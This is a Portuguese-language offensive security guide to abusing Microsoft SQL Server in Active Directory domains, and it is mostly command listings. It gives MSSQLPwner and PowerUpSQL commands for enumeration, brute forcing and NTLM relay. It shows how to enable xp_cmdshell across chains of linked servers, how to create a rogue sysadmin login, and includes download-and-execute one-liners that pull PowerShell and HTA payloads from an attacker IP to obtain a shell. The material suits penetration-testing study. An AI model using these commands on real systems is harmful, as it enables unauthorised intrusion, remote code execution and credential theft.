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MSSQL AD Abuse

MSSQL AD Abuse

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MSSQL Enumeração / Descoberta

Python

A ferramenta MSSQLPwner é baseada em impacket e também permite autenticar usando tickets kerberos e atacar através de cadeias de links.

```shell # Interactive mode mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive

Interactive mode with 2 depth level of impersonations

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -max-impersonation-depth 2 interactive

Executing custom assembly on the current server with windows authentication and executing hostname command

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname

Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname

Executing the hostname command using stored procedures on the linked SRV01 server

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname

Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate

Issuing NTLM relay attack on the SRV01 server

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

Issuing NTLM relay attack on the local server with custom command

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

Executing direct query

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth direct-query "SELECT CURRENT_USER"

Retrieving password from the linked server DC01

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password

Execute code using custom assembly on the linked server DC01

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll

Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt

mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt

mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

Bruteforce using tickets against the hosts listed on the hosts.txt

mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

Bruteforce using passwords against the hosts listed on the hosts.txt

mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

Bruteforce using hashes against the hosts listed on the hosts.txt

mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt

### Enumerando a partir da rede sem sessão de domínio

Interactive mode

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive

---
###  Powershell

O módulo powershell [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) é muito útil neste caso.
```powershell
Import-Module .\PowerupSQL.psd1

Enumerando a partir da rede sem sessão de domínio

# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#If you don't have a AD account, you can try to find MSSQL scanning via UDP
#First, you will need a list of hosts to scan
Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10

#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test

Enumerando de dentro do domínio

# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#Get info about valid MSQL instances running in domain
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose

#Test connections with each one
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose

#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

# Get DBs, test connections and get info in oneliner
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo

Abuso Básico do MSSQL

Acessar DB

#Perform a SQL query
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"

#Dump an instance (a lotof CVSs generated in current dir)
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"

# Search keywords in columns trying to access the MSSQL DBs
## This won't use trusted SQL links
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize

MSSQL RCE

Pode também ser possível executar comandos dentro do host MSSQL

Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary

Verifique na página mencionada na seção seguinte como fazer isso manualmente.

Truques Básicos de Hacking MSSQL

1433 - Pentesting MSSQL - Microsoft SQL Server

Links Confiáveis MSSQL

Se uma instância MSSQL é confiável (link de banco de dados) por uma instância MSSQL diferente. Se o usuário tiver privilégios sobre o banco de dados confiável, ele poderá usar o relacionamento de confiança para executar consultas também na outra instância. Essas confianças podem ser encadeadas e, em algum momento, o usuário pode ser capaz de encontrar algum banco de dados mal configurado onde pode executar comandos.

Os links entre bancos de dados funcionam mesmo através de confianças de floresta.

Abuso do Powershell

#Look for MSSQL links of an accessible instance
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0

#Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose

#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'

#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"

#Obtain a shell
Get-SQLServerLinkCrawl -Instance dcorp-mssql  -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'

#Check for possible vulnerabilities on an instance where you have access
Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"

#Try to escalate privileges on an instance
Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"

#Manual trusted link queery
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"
## Enable xp_cmdshell and check it
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'
## If you see the results of @@selectname, it worked
Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'

Metasploit

Você pode facilmente verificar links confiáveis usando metasploit.

#Set username, password, windows auth (if using AD), IP...
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session

Note que o metasploit tentará abusar apenas da função openquery() no MSSQL (então, se você não conseguir executar comandos com openquery(), precisará tentar o método EXECUTE manualmente para executar comandos, veja mais abaixo.)

Manual - Openquery()

A partir do Linux, você pode obter um shell de console MSSQL com sqsh e mssqlclient.py.

A partir do Windows, você também pode encontrar os links e executar comandos manualmente usando um cliente MSSQL como HeidiSQL

Login usando autenticação do Windows:

Encontrar Links Confiáveis

select * from master..sysservers;
EXEC sp_linkedservers;

Execute queries in trustable link

Execute consultas através do link (exemplo: encontre mais links na nova instância acessível):

select * from openquery("dcorp-sql1", 'select * from master..sysservers')

Verifique onde aspas duplas e simples são usadas, é importante usá-las dessa forma.

Você pode continuar essa cadeia de links confiáveis para sempre manualmente.

# First level RCE
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')

# Second level RCE
SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')

Se você não consegue realizar ações como exec xp_cmdshell a partir de openquery(), tente com o método EXECUTE.

Manual - EXECUTE

Você também pode abusar de links confiáveis usando EXECUTE:

#Create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"

Escalação de Privilégios Local

O usuário local do MSSQL geralmente possui um tipo especial de privilégio chamado SeImpersonatePrivilege. Isso permite que a conta "imite um cliente após a autenticação".

Uma estratégia que muitos autores desenvolveram é forçar um serviço do SYSTEM a se autenticar em um serviço malicioso ou man-in-the-middle que o atacante cria. Esse serviço malicioso pode então imitar o serviço do SYSTEM enquanto tenta se autenticar.

SweetPotato possui uma coleção dessas várias técnicas que podem ser executadas através do comando execute-assembly do Beacon.

LogoWebsec | Uw Cybersecurity Specialist
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